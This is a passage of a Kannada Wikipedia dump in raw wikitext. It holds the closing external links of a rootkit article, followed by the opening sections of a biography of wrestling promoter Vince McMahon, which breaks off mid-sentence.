ಪುನರವಲೋಕನ: ಆರು ರೂಟ್‌ಕಿಟ್ ಪತ್ತೆಗಾರರು ನಿಮ್ಮ ಕಂಪ್ಯೂಟರಿನ ರಕ್ಷಣೆ ಮಾಡುತ್ತವೆ.] {{Webarchive|url=https://web.archive.org/web/20100612092802/http://www.informationweek.com/news/software/reviews/showArticle.jhtml?articleID=196901062 |date=2010-06-12 }} * [http://black-coders.net/articles/linux/writing-linux-rootkit.php ಲಿನಕ್ಸ್‌ಗಾಗಿ ಸಾಮಾನ್ಯ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಬರೆಯುವ ಬಗೆಗಿನ ಲೇಖನ.] {{Webarchive|url=https://web.archive.org/web/20100409020729/http://black-coders.net/articles/linux/writing-linux-rootkit.php |date=2010-04-09 }} * [http://www.phrack.org/issues.html?issue=62&amp;id=12#article ಪ್ರಾರಂಭದಿಂದ ವಿಂಡೋವ್ಸ್‌ಗಾಗಿ ಲೈಬ್ರರಿ ಮಟ್ಟದ ರೂಟ್‌ಕಿಟ್‌ ಬರೆಯುವ ಬಗೆಗಿನ ಲೇಖನ] [[ವರ್ಗ:ಮಾಲ್‌ವೇರ್‌]] [[ವರ್ಗ:ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು]] 94t03zpde9ybw38gcx4ipjxmy4mvybf ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್ 0 24376 1116468 1080304 2022-08-23T13:15:06Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox person |name = Vince McMahon |image = Mrmcmahon092407.jpg |caption = Vince McMahon |birth_name = ವಿನ್ಸೆಂಟ್ ಕೆನಡಿ ಮೆಕಮೋಹನ್ |birth_date = {{birth date and age|mf=yes|1945|8|24}} |birth_place = {{city-state|Pinehurst|North Carolina}}, U.S. |occupation = [[Professional wrestling|Professional wrestling promoter]]<br>[[Chairman]] and [[Chief executive officer|CEO]] of [[World Wrestling Entertainment]] |networth = {{gain}}[[US Dollar|$]]1.1 [[1,000,000,000 (number)|billion]] (2000)<ref>{{cite web|url=http://www.forbes.com/finance/lists/54/2000/LIR.jhtml?passListId=54&passYear=2000&passListType=Person&datatype=Person&uniqueId=1ZS7|title=Forbes 400 Richest in America 2000 - Vincent K. McMahon|publisher=''[[Forbes]]''|accessdate=2010-07-13|archive-date=2011-05-29|archive-url=https://web.archive.org/web/20110529032341/http://www.forbes.com/finance/lists/54/2000/LIR.jhtml?passListId=54&passYear=2000&passListType=Person&datatype=Person&uniqueId=1ZS7|url-status=dead}}</ref> |alma_mater = [[East Carolina University]] |website = [http://www.wwe.com/ World Wrestling Entertainment] |parents = [[Vincent J. McMahon|Vincent James McMahon]] <br />Vicky Askew |spouse = [[Linda McMahon]] (1966-present) |children = [[Shane McMahon]] <small>(b.1970)</small><br />[[Stephanie McMahon-Levesque]] <small>(b.1976)</small><br /> |salary = $850,000<ref>{{cite web|url=http://www.faqs.org/sec-filings/100225/WORLD-WRESTLING-ENTERTAINMENTINC_10-K/|title=World Wrestling Entertainment, Inc. Form 10-K|date=2010-02-24|publisher=[[U.S. Securities and Exchange Commission]]|accessdate=2010-08-02}}</ref> |signature = |religion = [[Roman Catholic]] }} '''ವಿಂಸೆಂಟ್ ಕೆನೆಡಿ "ವಿನ್ಸಿ" ಮೆಕ್ ಮಹೊನ್ ಜೂ.''' (ಜನನ ಆಗಸ್ಟ್ 24, 1945)<ref name="IGN">{{cite web|url=http://stars.ign.com/objects/915/915330_biography.html|title=IGN: Vince McMahon Biography|accessdate=2007-09-14|publisher=IGN.com|archive-date=2007-11-16|archive-url=https://web.archive.org/web/20071116114423/http://stars.ign.com/objects/915/915330_biography.html|url-status=dead}}</ref> ಅಮೇರಿಕದ ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧ ಪ್ರವರ್ತಕ, ನಿವೇದಕ, ವಿಮರ್ಶೆ ಮಾಡುವವ, ಚಿತ್ರ ನಿರ್ದೇಶಕ ಮತ್ತು ನೈಮಿತ್ತಕ ವೃತ್ತಿಪರ ಮಲ್ಲ, ಮತ್ತು ಆದರ್ಶ ಮಲ್ಲಯುದ್ಧ ವಿಖ್ಯಾತ ವೃಕ್ತಿ ಎಂದು ಯಾವಾಗಲೂ ಕರೆಯಲ್ಪಟ್ಟನು. ಮೆಕ್ ಮಹೊನ್ ಇತ್ತೀಚೆಗೆ ಸಭಾಧ್ಯಕ್ಷ ಹಾಗು ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧ ಪ್ರವರ್ತಕ, ವೆರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್ಟೇನ್ಮೆಂಟ್ (WWE) ನ CEO ಯಾಗಿ ಸೇವೆ ಮಾಡುತಿದ್ದಾರೆ ಮತ್ತು ಸಂಸ್ಥೆಯ ಬಹುಭಾಗ ಪಾಲುದಾರನಾಗಿದ್ದಾನೆ,<ref>{{cite press release|url=http://corporate.wwe.com/documents/LEMSenateFINAL.pdf|title=WWE’S Linda McMahon Resigns to Run for U.S. Senate|format=PDF|date=September 16, 2009|publisher=World Wrestling Entertainment|accessdate=2009-09-16|archive-date=2009-10-07|archive-url=https://web.archive.org/web/20091007172547/http://corporate.wwe.com/documents/LEMSenateFINAL.pdf|url-status=dead}}</ref><ref name="WWEBoard">{{cite web|url=http://corporate.wwe.com/governance/board.jsp|title=WWE Board of Directors|publisher=[[World Wrestling Entertainment]]|accessdate=2009-09-09|archive-date=2009-09-24|archive-url=https://web.archive.org/web/20090924084351/http://corporate.wwe.com/governance/board.jsp|url-status=dead}}</ref> WWE ನ ಒಳಗಡೆ ಅಂದಾಜು 86.4% ಮೊತ್ತ ಮತದಾನ ಬಲವನ್ನು ಹೊಂದಿದ್ದಾನೆ.<ref>{{cite web|url=http://esignal.brand.edgar-online.com/EFX_dll/EDGARpro.dll?FetchFilingCONVPDF1?SessionID=g0loHLEuuirhdAB&ID=6962082|title=Vincent K. McMahon 2008 Irrevocable Trust|work=[[U.S. Securities and Exchange Commission]]|publisher=EDGAR Online|accessdate=2010-08-02}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> WCW ಮತ್ತು ECW ಯನ್ನು ಗಳಿಸಿದ ನಂತರ, TNA ಮತ್ತು ROH ರಾಜ್ಯದ ವಿಸ್ತರಣೆಯಾಗುವ ವರೆಗೆ ಮೆಕ್ ಮಹೊನನ WWE ಅಮೇರಿಕದ ಪ್ರಧಾನ ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧವು ಅಭಿವೃದ್ಧಿಗೆ ಒಂದೇ ಉಳಿದಿರುವದಾಗಿತ್ತು. ಒನ್-ಕೆಮರ ಕಥಾಪಾತ್ರದಲ್ಲಿ, ಅವನು ಎಲ್ಲಾ WWE ಬ್ರೇಂಡ್ ಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳಬಹುದು (ಬಹುಸಮಯ, ಅವನು ''Raw'' ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡರೂ). ಮೆಕ್ ಮಹೊನ್ ರಿಂಗ್ ಹೆಸರಾದ '''Mr.ಮೆಕ್ ಮಹೊನ್''' ಎಂಬ ಕಥಾಪಾತ್ರದಲ್ಲಿ ಅಭಿನಯಿಸುತ್ತಾನೆ, ತನ್ನದೇ ಆದ WWE ಲೋಕದ ಪ್ರಕಾರ, ಮತ್ತು ಪೂರ್ವದ WWF ಚೇಂಪಿಯನ್ ಹಾಗು ಪೂರ್ವದ ECW ವೆರ್ಲ್ಡ್ ಚೇಂಪಿಯನ್ ನಾಗಿದ್ದನು. ಅವನು 1999 ರ ರೊಯಲ್ ರಂಬಲ್ ಗೆದ್ದವನಾಗಿದ್ದನು. ವಿನ್ಸಿಯು ಲಿಂಡ ಮೆಕ್ ಮಹೊನ್ ಳ ಗಂಡನಾಗಿದ್ದ, ಯಾರ ಹಿಂದೆ ಅವನು WWE 1980 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟ ದಿನದಿಂದ 2009 ಸೆಪ್ಟೆಂಬರ್ ನಲ್ಲಿ ರಾಜಿನಾಮೆ ಕೊಡುವವರೆಗು ನಡೆಸಿದನು. ಲಿಂಡ 1999-2001 ರವರೆಗೆ ಮಲ್ಲಯುದ್ಧ ರಿಂಗ್ ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಳು.<ref name="resign">{{cite web|last=|first=|title=WWE says CEO resigns, names chairman as new CEO|publisher=Reuters|date=2009-09-16|url=http://www.reuters.com/article/rbssConsumerGoodsAndRetailNews/idUSBNG21201920090916|accessdate= 2010-04-15}}</ref> 2010 ರಲ್ಲಿ, ಅವಳು US ಆಧುನಿಕ ಶಾಸನ ಸಭೆಗೆ, ಸ್ವಂತ-ಹಣದ ವ್ಯವಸ್ಥೆ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ನಡೆಸುತಿದ್ದಾಳೆ, ಅದನ್ನು ಪ್ರಜಾಪ್ರಭುತ್ವವಾಗಿ ನಡೆಸಿದ್ದಾಳೆ.<ref name="announcement2">{{cite web|url=http://www.courant.com/news/politics/hc-connecticut-senate-wwe-linda-mcmahon-dodd-0916,0,5802894.story|title=WWE's Linda McMahon Seeks GOP Nod For Sen. Chris Dodd's Seat|author=Daniela Altimari|publisher=The Hartford Courant|date=2009-09-16|accessdate=2010-04-15|archive-date=2009-10-01|archive-url=https://web.archive.org/web/20091001171208/http://www.courant.com/news/politics/hc-connecticut-senate-wwe-linda-mcmahon-dodd-0916,0,5802894.story|url-status=dead}}</ref><ref name="first100days">{{cite web|url=http://www.courant.com/news/opinion/hc-mcmahon-senator-100-days.artfeb28,0,952366,print.story|title=Linda McMahon: My first 100 days|publisher=Hartford Courant|author=Linda McMahon|date=2010-02-28|accessdate=2010-04-15}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ==ವ್ಯವಹಾರ ಜೀವನ== ===ವೆರ್ಲ್ಡ್ ವೈಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ (1971–1979)=== ಮೆಕ್ ಮಹೊನ್ ಮೊದಲು ಕೆಪಿಟೊಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಕೋರ್ಪರೇಶನ್ ನ ಪ್ರವರ್ತಕನನ್ನು ತನ್ನ 12ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಸಂಧಿಸಿದನು, ಅದು ತನ್ನ ತಂದೆ ವಿಂಸೆಂಟ್ ಜೆ.ಮೆಕ್ ಮಹೊನ್ ರ ಸಂಸ್ಥೆ. ಆ ಸಮಯದಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ತಂದೆಯ ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧ ಕಾಲ್ಹೆಜ್ಜೆಯನ್ನು ಹಿಂಬಾಲಿಸಲು ಆಸಕ್ತಿಗೊಂಡನು ಮತ್ತು ಯಾವಾಗಲೂ ಮಡಿಸನ್ ಸ್ಕ್ವೇರ್ ಗಾರ್ಡನ್ ಗೆ ಪ್ರಯಾಣದಲ್ಲಿ ಜೊತೆಗಾರನಾಗಿದ್ದನು. ಮೆಕ್ ಮಹೊನ್ ಸಹಾ ಮಲ್ಲನಾಗಬೇಕೆಂದಿದ್ದನು. ಆದರೆ ಅವನ ತಂದೆ ಬಿಡಲಿಲ್ಲ, ಹೇಗೆಂದರೆ ಪ್ರವರ್ತಕ ಪ್ರದರ್ಶನದಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳಬಾರದು ಹಾಗು ಮಲ್ಲರಿಂದ ದೂರ ಇರಬೇಕೆಂದು ವಿವರಿಸಿದರು. 1968 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಈಸ್ಟ್ ಕರೊಲಿನ ಯುನಿವೆರ್ಸಿಟಿ ಇಂದ ವ್ಯವಹಾರ ಪದವಿಯನ್ನು ಪಡೆದನು ಮತ್ತು ಇಬ್ಬದಿಯ ವೃತ್ತಿಯಾದ ಪ್ರಯಾಣದ ವ್ಯಾಪಾರಕೆಲಸದ ನಂತರ, ಅವನು ತನ್ನ ತಂದೆಯ ವೆರ್ಲ್ಡ್ ವೈಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ ಅಭಿವೃದ್ದಿಗೆ ಕಾರ್ಯನಿರ್ವಾಹಕನಾಗಿ ಕೆಲಸ ಮಾಡುವ ಆಸಕ್ತಿ ವಹಿಸಿದನು (ವಿನ್ಸಿ ಸೀ.ತನ್ನ ಮಗನ ಉದ್ಯೋಗದ ಕಲ್ಪನೆಯಿಂದ ರೋಮಾಂಚನಗೊಳ್ಳದಿದ್ದರೂ). 1969 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಇನ್-ರಿಂಗ್ ನಿವೇದಕನಾಗಿ ಮೊದಲ ಪ್ರವೇಶಮಾಡಿದನು, WWWF ''ಆಲ್-ಸ್ಟಾರ್ ವ್ರೆಸ್ಲಿಂಗ್'' ನ ಪಂದ್ಯಗಳನ್ನು ಪ್ರಕಟಿಸುತಿದ್ದನು.<ref name="McMahonFamily">{{cite book|last=Kaelberer|first=Angie Peterson |title=The McMahons: Vince McMahon and Family |publisher=Capstone Press|year=2003|pages=15|isbn=0736821430}}</ref> 1971 ರಲ್ಲಿ, ಮೈನಿ ಎಂಬ ಸಣ್ಣ ಪ್ರವೇಶವನ್ನು ವಹಿಸಿಕೊಡಲಾಯಿತು, ಅಲ್ಲಿ ಅವನು ತನ್ನ ಮೊದಲ ಆಮಂತ್ರಣ ಪತ್ರವನ್ನು ಪ್ರವರ್ಧಮಾಣಕ್ಕೆ ತಂದನು. ಅವನು ನಂತರ 1971 ರಲ್ಲಿ ರೇಯ್ ಮೊರ್ಗನ್ ನನ್ನು ಬದಲಾಯಿಸಿ ದೂರದರ್ಶನ ಪಂದ್ಯಗಳಲ್ಲಿ ಪ್ಲೆ-ಬೈ-ಪ್ಲೆ ಯ ನಿವೇದಕನಾಗಿದ್ದನು, ಆ ಪಾತ್ರವನ್ನು ನವೆಂಬರ್ 1997 ರವರೆಗೆ ನಿಯಮಿತವಾಗಿ ನಡೆಸಬೇಕಾಯಿತು. 1970 ಕಡೇವರೆಗೆ, ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ತಂದೆಯ ಸಂಸ್ಥೆಯ ಪ್ರಮುಖ ಬಲವಾಗಿದ್ದನು, ಮತ್ತು ನಂತರದ ಹತ್ತು ವರ್ಷ, ವಿನ್ಸಿ ತನ್ನ ತಂದೆಗೆ ಟ್ರಿಪ್ಲಿಂಗ್ ಟಿವಿ ಸಿಂಡಿಕೇಶನ್ ನಲ್ಲಿ ಸಹಾಯಮಾಡಿದನು. ಅವನು ಸಂಸ್ಥೆಯನ್ನು ವೆರ್ಲ್ಡ್ ವೈಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ (WWF) ಎಂದು ಪುನಃ ಹೆಸರಿಸಿದನು. 1976 ರಲ್ಲಿ ನಡೆದ ಮುಹಮದ್ ಅಲಿ ವಿರುದ್ಧ ಅಂಟೊನಿಯ ಇನೊಕಿ ಪಂದ್ಯದ ಹಿಂದೆ ಕಿರಿಯ ಮೆಕ್ ಮಹೊನ್ ಇದ್ದನು. 1979 ರಲ್ಲಿ, ವಿನ್ಸಿ ಕೇಪ್ ಕೋಡ್ ಕೊಲಿಸಿಯಮ್ ನನ್ನು ಕೊಂಡುಕೊಂಡನು, ಅಲ್ಲಿ ಅವನು ಹೊಕಿ ಆಟವನ್ನು ಮತ್ತು ಸಾಮರಸ್ಯವನ್ನು ಪ್ರೊ ಮಲ್ಲಯುದ್ಧದ ರೊಡನೆ ಪ್ರವರ್ಧಮಾನಕ್ಕೆ ತಂದನು, ತನ್ನ ತಂದೆಯ ರಾಜಿನಾಮದ ನಂತರ WWF ನನ್ನು ನಡೆಸಲು ಸಾಮರ್ಥನೆಂದು ಧೃಡಪಡಿಸಲು ತೋರಿಸಿದನು. 1980 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಸಂಸ್ಥೆಯ ಸಭಾಧ್ಯಕ್ಷನಾದನು,<ref name="WWEBoard" /> ಮತ್ತು ಟೈಟನ್ ಸ್ಪರ್ಧೆ ಸಂಘೀಕರಿಸಲ್ಪಟ್ಟತು: 1982 ರಲ್ಲಿ, 37 ವರ್ಷದ ಮೆಕ್ ಮಹೊನ್ ಟೈಟನ್ ಪ್ರಾಪ್ತಿಯ ಕೆಪಿಟೊಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಕೊ. ಯನ್ನು ತನ್ನ ಅಸ್ವಸ್ಥನಾಗಿದ್ದ ತಂದೆಯಿಂದ (ಯಾರು ಮೇ 1984 ರಲ್ಲಿ ಸತ್ತುಹೋದರು) ಮುಂದೆ ನಡೆಸಿದನು, ಅವನು ಮತ್ತು ತನ್ನ ಹೆಂಡತಿಯಾದ ಲಿಂಡ ಮೆಕ್ ಮಹೊನ್ ವೆರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ ಅನ್ನು ಹತೋಟಿಗೆ ತಂದರು. ===ವರ್ಲ್ಡ್‌ ರೆಸ್ಲಿಂಗ್‌ ಫೆಡರೇಶನ್‌/ಎಂಟರ್‌‌ಟೇನ್‌ಮೆಂಟ್ (1990-ಈ ವರೆಗೆ)=== ====1980ನ ಮಲ್ಲಯುದ್ಧ ಅರಳುವಿಕೆ==== {{Main|1980s professional wrestling boom}} ವೆರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ ಕೊಂಡುಕೊಂಡ ಸಮಯದಲ್ಲಿ, ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧವು ಪ್ರಾಂತದ ಅಧಿಕಾರಿಯಿಂದ ವ್ಯವಹಾರವಾಗಿ ನಡೆಸಲ್ಪಟ್ಟಿತು. ಅನೇಕ ಪ್ರವರ್ತಕರು ಒಂದು ಅನಿಸಿಕೆಯನ್ನು ಹಂಚಿದರು, ಅದೇನೆಂದರೆ ಅವರು ಯಾರೂ ಇನ್ನೊಂಬರ ಪ್ರಾಂತಕ್ಕೆ ಒಳನುಗ್ಗಬಾರದೆಂದು, ಈ ರೂಢಿಯು ಎದೆಗುಂದದೆ ಹತ್ತು ವರ್ಷಗಳ ಕಾಲ ಮುಂದುವರಿತು. ಮೆಕ್ ಮಹೊನ್ ಉದ್ಯೋಗದ ಕುರಿತು ಬೇರೆಬೇರೆ ದರ್ಶನವನ್ನು ಇಟ್ಟುಕೊಂಡಿದ್ದನು. 1936 ರಲ್ಲಿ, WWWF ನೇಶನಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಅಲೈಯನ್ಸ್ ಇಂದ ಬೇರ್ಪಟ್ಟಿತು, ಅದು ದೇಶಾದ್ಯಾಂತವಾಗಿ ಜಪೇನ್ ನಿನವರೆಗೆ ಎಲ್ಲಾ ಪ್ರಾಂತ ಅಧಿಕಾರಿಗಳನ್ನು ಆಳುವಂತಹ ಸಂಸ್ಥೆಯಾಗಿತ್ತು. ಅವನು ನೋರ್ತ್ ಈಸ್ಟ್ U.S. ಸ್ಟೋಮ್ಪಿಂಗ್ ಗ್ರೌಂಡ್ಸ್ ಹಾಗು ಬೇರೆ ಸಂಸ್ಥೆಯಿಂದ ಬುದ್ಧಿವಂತರನ್ನು ಅಮೇರಿಕನ್ ವ್ರೆಸ್ಲಿಂಗ್ ಅಸೋಸಿಯೇಶನ್ (AWA) ಗೆ ತಂದನು, ಸಂಸ್ಥೆಯನ್ನು ಹೊರಗಿನ ಪ್ರದೇಶಗಳಿಗೂ ಸಂಸ್ಥೆಯನ್ನು ರಾಜ್ಯಮಟ್ಟಕ್ಕೆ ವಿಸ್ತರಿಸಿದನು. 1984 ರಲ್ಲಿ, ಹಲ್ಕ್ ಹೊಗನ್ ನನ್ನು, WWF ನ ದೈವೀ ಹೊಸ ದೊಡ್ಡ ನಕ್ಷತ್ರನಾಗಿ ಹೊಸದಾಗಿ ನೇಮಿಸಿದನು, ಮತ್ತು ಇಬ್ಬರೂ ಬೇಗನೆ ಸಂಸ್ಥೆಯ ಅಭಿವೃದ್ಧಿಗೆ ಪ್ರಾಂತ ಸ್ಪರ್ಧಿಗಳನ್ನು ಪ್ರಯಾಣಿಸುತ್ತ ಹಾಗು ಆಕಾಶವಾಣಿಯಿಂದ ಪ್ರಸಾರಮಾಡಲು ಶುರುಮಾಡಿದರು. ಹಾಗಿದ್ದರೂ, ಮೆಕ್ ಮಹೊನ್ (ಅವನು WWF'ನ ಕೀಚುಧ್ವನಿಯ ಶುದ್ಧ ಮಗುಮುಖನಾಗಿ ನಿವೇದಕನಾಗಿಯೂ ಇದ್ದನು) ''ದ ರೋಕ್ 'n' ವ್ರೆಸ್ಲಿಂಗ್ ಕನೆಕ್ಷನ್'' ಯನ್ನು ಪೊಪ್ ಮ್ಯುಸಿಕ್ ನಕ್ಷತ್ರಿಯರನ್ನು ಮಲ್ಲಯುದ್ಧದ ಕಥೆಗೆ ಸಂಘವಾಗಿ ಒಂದುಗೂಡಿಸಿದನು. ಆದಕಾರಣ, WWF ತನ್ನ ಅಭಿಮಾನಿಗಳಿಂದ ರಾಜ್ಯಮಟ್ಟದ ಪ್ರೇಕ್ಷಕರಾಗಿ ವಿಸ್ತಾರವಾಯಿತು ಹೇಗೆಂದರೆ ಅಭಿವೃದ್ಧಿಯು MTV ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಬಹು ಹೆಚ್ಚು ಮುಖ್ಯಪಡಿಸಲಾಗಿತ್ತು. ಮಾರ್ಚ್ 31, 1985 ರಲ್ಲಿ, ಅವನು ಮೊದಲ ವ್ರೆಸಲ್ ಮೇನಿಯವನ್ನು ಮಡಿಸನ್ ಸ್ಕ್ವೇರ್ ಗಾರ್ಡನ್ ಗೆ ಪ್ರವರ್ಧಮಾನಕ್ಕೆ ತಂದನು. ಹಾಗು U.S. ವ್ರೆಸಲ್ ಮೇನಿಯವನ್ನು TV ಪರಿಮಿತ ಆವರ್ತ ವಾಯುವಿಹಾರ ಮಾಡಿದ್ದು ಎದುರಿಸಲಾಗದ ಯಶಸ್ವಿಯಾಗಿತ್ತು. ಆದಕಾರಣ, WWF ಎಲ್ಲಾ ಸ್ಪರ್ಧೆಗಳಲ್ಲಿ ತಲೆಯಾಗಿ ಹಾಗು ಭುಜವಾಗಿ ನಿಂತಿತು, ಮತ್ತು ಹಲ್ಕ್ ಹೊಗನ್ ಕೂಡಲೇ ಪರಿಪೂರ್ಣ-ಅನನುಭವಿ ಪೊಪ್-ಸಂಸ್ಕೃತಿ ಪ್ರತಿಮೆ ಹಾಗು ಮಕ್ಕಳ ಪ್ರಾತ ಪ್ರತಿಮೆಯಾದನು. 1980ರ ಕಡೆಯಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ WWF ಯನ್ನು ಒಂದೇ ಸ್ಪರ್ಧೆ ಮನರಂಜನೆ ಕೊಡುವ ಬ್ರೇಂಡಾಗಿ ರೂಪಿಸಿದನು, ಅದು ಕುಟುಂಬಗಳ ಪ್ರೇಕ್ಷಕರನ್ನು ತಲುಪಿತು. ಹಾಗು ಪ್ರೊ ಮಲ್ಲಯುದ್ಧವನ್ನು ಯಾವತ್ತೂ ಗಮನಿಸದವರನ್ನು ಆಕರ್ಷಿಸುವ ಅಭಿಮಾನಿಯಾಗೆ ಮಾಡಿತು. ತನ್ನ ಕಥೆಅಂಶವನ್ನು ದೊಡ್ಡ-ಸಮೂಹ ಸುಪರ್ಕಾರ್ಡ್ ವಾಗಿ ನಿರ್ದೇಶಿಸಿ, ಮೆಕ್ ಮಹೊನ್ ಹೊಸ-ಬ್ರೇಂಡ್ ಆದಾಯಕ್ಕಾಗಿ, ಈ ಘಟನೆಯನ್ನು PPV ದೂರದರ್ಶನದಲ್ಲಿ ನೇರಪ್ರಸಾರವನ್ನು ಶುರುಮಾಡಿದನು, ಅದು ಎಲ್ಲಾ ಸ್ಪರ್ಧೆಗಳನ್ನು ಪರಿಪೂರ್ಣವಾಗಿ ಕ್ರಾಂತಿಯನ್ನುಂಟುಮಾಡುವ ಘಟನೆಗಳನ್ನು ಪ್ರಕಟಿಸುವ ಒಂದು ಕಲ್ಪನೆಯಾಗಿತ್ತು ಹಾಗು WWF ಯನ್ನು ಬಹು-ಮಿಲಿಯ ಡೊಲರ್ ಸಾಂಮ್ರಾಜ್ಯವನ್ನಾಗಿ ರೂಪಿಸುವಂತಹ ಸಾಧನೆಯಾಗಿತ್ತು. 1987 ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ 93,173 ಅಭಿಮಾನಿಗಳನ್ನು ಪೊಂಟಿಯಕ್ ಸಿಲ್ವರ್ಡೋಮ್ ಗೆ ವರದಿಮಾಡಿ ("ಸ್ಪರ್ಧೆಗಳನ್ನು ಮನರಂಜನೆಯ ಚಾರಿತ್ರ್ಯದಲ್ಲಿ ಹೆಚ್ಚು ಜನಸಮೂಹ" ಎಂದು ಕರೆಯಲಾಯಿತು) ವ್ರೆಸಲ್ ಮೇನಿಯ III ರಿಗೆ ಸೆಳೆದನು.<ref name="corporatebio">{{cite web|url=http://corporate.wwe.com/company/bios/vk_mcmahon.jsp|title=Vince McMahon's biography|accessdate=2008-01-14|publisher=WWE Corporate}}</ref> ಅದು ಹಲ್ಕ್ ಹೊಗನ್ ವಿರುದ್ಧ ಅನ್ಡ್ರೆ ದಿ ಜಿಯಂಟ್ ರ ಬ್ಲೊಕ್ಬಸ್ಟರ್ ಮುಖ್ಯ ಘಟನೆಯನ್ನು ಮುಖ್ಯಪಡಿಸಿತು. ನಿಜವಾದ ಜನಸಮೂಹ ಸಂಖ್ಯೆಯನ್ನು, ಆದರೂ, ವಾದವಿವಾದವಾಗಿತ್ತು<ref>{{cite web|url=http://www.wrestleview.com/news/1064694768.shtml|title=ASK WV (9/27/03): WM III attendance, Hart/HBK, Sting/4 Horsemen, & More|date=2003-09-27|publisher=WrestleView}}</ref> ====1990ರ ಮನೋವೃತ್ತಿ ಕಾಲ==== {{Main|The Attitude Era}} ಯಾವಾಗ ಮೆಕ್ ಮಹೊನ್ ಪರಿಪೂರ್ಣವಾಗಿ ಹೊಸ ಬ್ರೇಂಡ್ ಯುದ್ಧಕೌಶಲ್ಯ ಶುರುಮಾಡಿ ಅದು WWF ನ ಪ್ರಧಾನತ್ವವನ್ನು ಕೊನೆಯದಾಗಿ ಹಿಂತಿರುಗಿಸುತ್ತದೆ ಎಂಬುದಾಗಿ ಅನೇಕ ವರ್ಷಗಳ ಟೆಡ್ ಟೇರ್ನೆರ್ಸ್ ವೆರ್ಲ್ಡ್ ಚೇಂಪಿಯನ್ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್ (WCW) ನ ಹೊರಾಟದ ಹಿಂದೆ, ಅವನು 1990 ರ ಕೊನೆಯಲ್ಲಿ ಸಂಸ್ಥೆಯ ಸರ್ವಶ್ರೇಷ್ಠ ಪ್ರವರ್ತಕ ಎಂದು ತನ್ನ ಸ್ಥಾನಕ್ಕೆ ಕೂಡಿಸಿಕೊಂಡನು. ಗಟ್ಟಿಯಾದ ಹಾಗು ತಿರಸ್ಕಾರಭಾವದ ಅಭಿಮಾನಿಯ ಅಡಿಪಾಯಿಯ ಪ್ರಜ್ನೆಯನ್ನು ಸಮುದಾಯ ರೂಪಾಂತರಕ್ಕೆ, ಮೆಕ್ ಮಹೊನ್ ಕಥೆಯಅಂಶವನ್ನು ತುಂಬಾ ಹಿರಿಯರಿಗೆ-ಸಂಬಂಧಿಸಿದ ಮಾದರಿಯನ್ನಾಗಿ ನಿರ್ದೇಶಿಸಿದನು. ಈ ಕಲ್ಪನೆಯ WWF ಮನೋವೃತ್ತಿ ಎಂದು ತಿಳಿದುಬಂತು, ಮತ್ತು ಮೆಕ್ ಮಹೊನ್ ಯಾವಾಗ WWF ಚೇಂಪಿಯನ್ಶಿಪ್ ಅನ್ನು ಸೆರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ [[ಬ್ರೆಟ್ ಹಾರ್ಟ್]] ನಿಂದ ಕೈಚಳಕ ತೋರಿಸಿ ನಿಭಾಯಿಸಿದಾಗ ವೈಯುಕ್ತಿಕವಾಗಿ ಹೊಸ ಕಾಲವನ್ನು ಪ್ರಾರಂಭಿಸಿದನು, ಅದರಲ್ಲಿ ಈಗ ಕರೆಯಲ್ಪಡುವ "ಮೋಂಟ್ರೀಲ್ ಸ್ಕ್ರಿವ್ಜೊಬ್" ಇದೆ.<ref name="Survivor Series - Shawn Michaels vs Bret Hart">{{cite web|url=http://www.wwe.com/shows/survivorseries/history/1997/mainevent/|title=Survivor Series 1997 main event (Montreal Screwjob)|accessdate=2008-01-14|publisher=WWE}}</ref> ಅದಾದನಂತರ, ಮೆಕ್ ಮಹೊನ್, ಯಾರು WWF ನ ಯಜಮಾನನಾಗಿ ಅನೇಕ ವರ್ಷ ಕಾರ್ಯನಿರ್ವಹಿಸುತಿದ್ದನು ಮತ್ತು ವಿನಯವುಳ್ಳ ನಿವೇದಕ ಎಂದು ಮಾತ್ರ ಚನ್ನಾಗಿ ತಿಳಿಯ ಬಹುದು ಮತ್ತು ಬಣ್ಣಬಣ್ಣದ ವಿಮರ್ಶೆ ಮಾಡುವವರನ್ನು ಸುಖಪಡಿಸುವ 